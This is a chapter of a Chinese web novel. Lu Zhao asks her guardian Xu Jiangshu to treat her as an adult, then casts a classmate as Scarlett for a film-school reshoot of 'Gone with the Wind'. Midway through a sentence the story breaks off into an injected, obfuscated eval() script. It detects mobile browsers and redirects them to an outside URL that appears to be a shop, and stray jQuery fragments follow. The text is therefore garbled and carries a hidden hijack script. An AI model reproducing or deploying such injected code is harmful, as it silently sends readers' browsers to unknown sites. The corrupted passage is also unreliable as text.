许江树似是没听懂,又像是能理解出路昭的话外话,他有好好回想,总结出一句话:“没照顾你到位?”
这回答让路昭瞥了他一眼。
怎么说呢?
一团气儿咽在喉咙里,怎么做都不得劲!
只好脚步动作在发泄,路昭用一只鞋踩另一只鞋的底部:“不是,再说了,我也不要照顾,我都那么大了。”
“再大也是哥哥的妹妹。”
“……”
路昭气得有点胸闷,她不爱听这话,可又不知道怎么回击。
毕竟…这话说得很在理啊。
就是因为太在理了,路昭和泄了气的气球没差别。
鞋跟脱离脚后,路昭不愉悦地踢了两下,宛如甩掉什么包袱,就像甩掉“哥哥妹妹”的称呼。
她穿上居家拖鞋,直接甩下许江树走到卫生间。
许江树弯下腰整理路昭的鞋,又把自己的鞋与她的排在一起。
站起身后,他没急着走,眉心似蹙非蹙盯着地面。
也不知道过了多久,他才缓缓抬脚。
手清洁干净,许江树去厨房打开头上的柜子,拿出一罐蜂蜜,往杯里舀了几勺,又放了温度适当的热水。
路昭没喝过酒,她今天心情特好,不由得多了些。
尽管路昭没到醉的地步,他还是想避免酒的后劲让她第二天起来头疼。
许江树端着蜂蜜水来到路昭面前:“喝了。”
路昭抬睫,语气加重道:“谢谢!”
“嗯?”许江树语调慢慢地,“和我怄气呢?”
怄气犯不上,路昭忽然懂得林黛玉和贾宝玉俩人还没表明心迹时的小性子了,她干巴巴道:“没有。”
“所以…”许江树说,“在扮演河豚?”
路昭把水杯放到了茶几上,神色决绝地想以成年人的身份去交谈,她看着许江树一字一句道:“你总是把我当小孩,可是我长大了,哥哥,我真的不想被你当成小孩对待。”
当成小孩永远不会有踏出一步的机会。
那是万万不能的。
她要把这事扼杀在摇篮里。
至少在她行动后,不会迎来一句:“你在我眼里永远都是小孩。”
她一点都不想听到这个不是理由的理由。
可是许江树奇怪。
奇怪这个很莫名的理由,可他竟然都拿不出什么言语来同路昭沟通,最后只能冒出仨字:“我知道。”
知道什么啊,就知道!
路昭忍着吐槽举动。
片刻,她说出她的需求:“所以,我需要你把我当成一个成年人,以成年人的身份对待。”
因为这话,许江树垂眸瞧着路昭,脸上没有表情,看不出是在想什么,只能大概猜出他是在思考。
以至于,路昭内心忐忑。
忐忑的不是因为害怕,而是担心再次听见一句类似于:“为什么?就像在长辈面前一个性质,无论再怎么大,即使是四、五十都觉得是个小孩。”
等了许久,久到路昭觉得她整个人要麻木掉了,才听许江树带着低哑的气息应了声:“好。”
路昭心满意足笑了,至少第一步她是成功的。
月亮停在夜空很久了,可到半夜悄悄躲起来,似乎遇见了小麻烦。
沉闷的雨声滴滴答答地落在地面上。
路昭翻来覆去没睡着。
然而枕边的手机震动了一下。
卫澜:【小昭,这周有时间吗?】
读完消息,路昭瞧了角落上的时间。
01:26
那么晚了还加班吗?
路昭皱着眉头点进聊天界面,键盘敲起来时,她突然暗下侧边键,就将手机扔一边。
房间唯一的光亮熄灭。
路昭看着黑黑的天花板。
还算了吧。
-
次日的早八是专业课,路昭会提前到教室,她不喜欢坐前排,但是也不想靠后。
关于自己的学业,路昭总是用十二分力气。
连她上一年级的时候,姥爷忘了她年纪,还是她向姥爷提出来的。
路昭还记得姥爷看她的眼神,可到现在她始终也理解不了那样的若有所思。
到最后,她没有被安排到国际学校就读。
即使来到许家,路昭也没有转学,她喜欢公立学校的氛围——忙碌。
一天二十四小时都充满了安排。
所以即便昨晚睡晚了也不影响一大早的精气神。
七点四十几分,路昭来到餐厅,吴婶和两位阿姨已将早餐摆好了。
只是许江树没在。
路昭一坐下,吴婶掀开砂锅盖,用大勺舀粥到小碗里,然后放到她面前。
路昭问:“哥哥呢?”
“先生一早就出门了。”
“没吃东西嘛?”
“没吃。”
“待会儿送去公司吧,不然哥哥又得中午吃了。”
“哎。”
吴婶原本是卫家那边的人,只不过人太老实本分,容易让人蹬鼻子上脸使唤她干着不属于自己的活儿。
记得路昭有一回去卫家呆了几天,本就不待见她的卫家也不会将人放在心上,还是吴婶记得她。
那时候的路昭吃着吴婶煮的阳春面问:“别人都不敢沾灰,你怎么要让自己染上呢?”
“当妈的总是见不得孩子委屈。”
提起孩子,吴婶脸上温柔又幸福。
闻言,路昭垂睫瞧着面前的阳春面。
很普通。
很普通的一碗阳春面,味道却很特别。
后来路昭听吴婶说,她带着两个女儿从乡下“跑”出来的。
说实在的,路昭其实不太理解什么叫做“跑”,是像她那样跑去找卫澜吗?
但是她见吴婶脸上神采奕奕,那总归是件好事吧,不然也不会提起这事时,眼里有光,还充满了生机。
路昭回去后给吴婶发了工作邀请函,算是报答那碗阳春面了吧。
八点三十分,上课铃声响起。
开学差不多两个月了,专业老师打算进行阶段性考核,四人一组拍摄五分钟的剧情摹拍,抽签决定小组成员和题目。
路昭和三位女孩组成一组,她自荐当组长,因为她想要当总导。
那仨女孩子都赞同。
她们小组抽到一部经典电影《乱世佳人》。
至于什么片段,是由她们决定。
这一点,路昭有了主意,课后和大家商讨很快就能出来结果。
只是有一点难处——如何选择主人公斯佳丽。
一直到下午的公共课程,她都没有个思路。
阶梯教室坐得满满当当,表演系的学生也在。
这一次的课程不是死气沉沉的。
导演系的学生需要找演员,表演系的也想趁机去磨练。
路昭来得早,中间位置被她抢到,只是凳子还没坐热。
闻轻倒是来得巧。
不过呢,她说话也直接:“我来自荐。”
路昭缓缓侧头,微眯着眼,像是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486389|202031||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
打量着什么:“我记得在你外面也有戏。”
闻轻很忙的,学艺术非常耗钱,她的家庭条件室友们不清楚。
偶尔芭比问她去哪儿时,她总是说去兼职或是有场戏。
“戏不在多。”闻轻说得坦坦荡荡,“况且像我这样的,拿不到什么重要角色。”
言下之意路昭听得明白,这让她挑了挑眉:“你知道我是什么剧本吗?倘若不适合呢?”
“不知道,”闻轻实话说,“但机会就摆在眼前,总不能坐以待毙吧。再说我也不想错过,对我来说百利无一害。”
闻轻也想担任主演,撑起一部戏,即使是几分钟的戏,她也不想放过。
听到这些,路昭低声一笑:“我不会顾任何面子。”
闻轻一笑:“求之不得。”
“明天下午五点半,表演教室。剧情…”路昭顿了下思考,才说,“《乱世佳人》。”
“好。”
除了闻轻也有其她人来找路昭小组试戏,像组成了一个小小社会。
有靠着好友关系去演;也有凭借本事得到几分钟的露脸机会。
闻轻把这一幕看在眼中。
她想到沈妄和她说过的话。
那天,她有一场非常小的角色。
尽管没有台词,但至少比群演好,有单独的镜头。
结束拍摄后,沈妄就出现在她面前。
当时闻轻愣了小片刻,她料不到沈妄会出现在片场。
毕竟,片场那么乱,她又不是什么大咖,自然没有独立化妆间,得和一群人挤着。
连着沈妄这样的贵公子也得挤着。
到最后,沈妄嫌弃地带她去车上卸下戏服。
瞧她卸妆时,眼神认真的模样,倒是显得有些深情了。
闻轻都有些触动。
有时候她会产生一个错觉,这份温柔是她独有的一份。
然后,便见沈妄眼里带着调笑说:“给你提供一条门路,和路昭打好关系,要是入了她的眼,你前途不至于差到哪儿,总归戏是少不了的。”
闻轻听见这话,她知道他心里都明白着。
那路昭呢?
她会吗?
会心如明镜吗?
但应该习以为常了吧。
想归这样想,可她真来找路昭时,心里还有些胆怯。
可是她得争取,硬着头皮都得做下去。
-
到周五那天,路昭她们小组五点整就到了教室,来试戏的人都差不多提前到了。
闻轻也在其中。
路昭没有给她们固定一个片段,可也会问为什么要选这个片段,理由是什么?
到底只是学生作业,人也不算多。
闻轻是最后一个出场。
她也不例外,还是选择斯佳丽站在十二棵橡树庄园的焦士瓦砾面前让上帝做见证。
那也是路昭最喜欢的部分,大概也是多数人喜欢的高光时刻。
同个问题落在闻轻身上。
她说:“狠劲和野心是她从来没有遮掩过,这一刻全部放大出来,敢要、敢想、敢做。”
虽然不是路昭心中的想法,可她也选择了闻轻。
一来,她演技好。
二来,她还能被塑造。
路昭想,她努力一点,至少能让闻轻靠近斯佳丽人设。
闻轻看出自己的话并没有说到她心里。
散场后,她跑到路昭身边:“若是问你,你的答案是什么?”
路昭没有犹豫地说:“神是我自己。”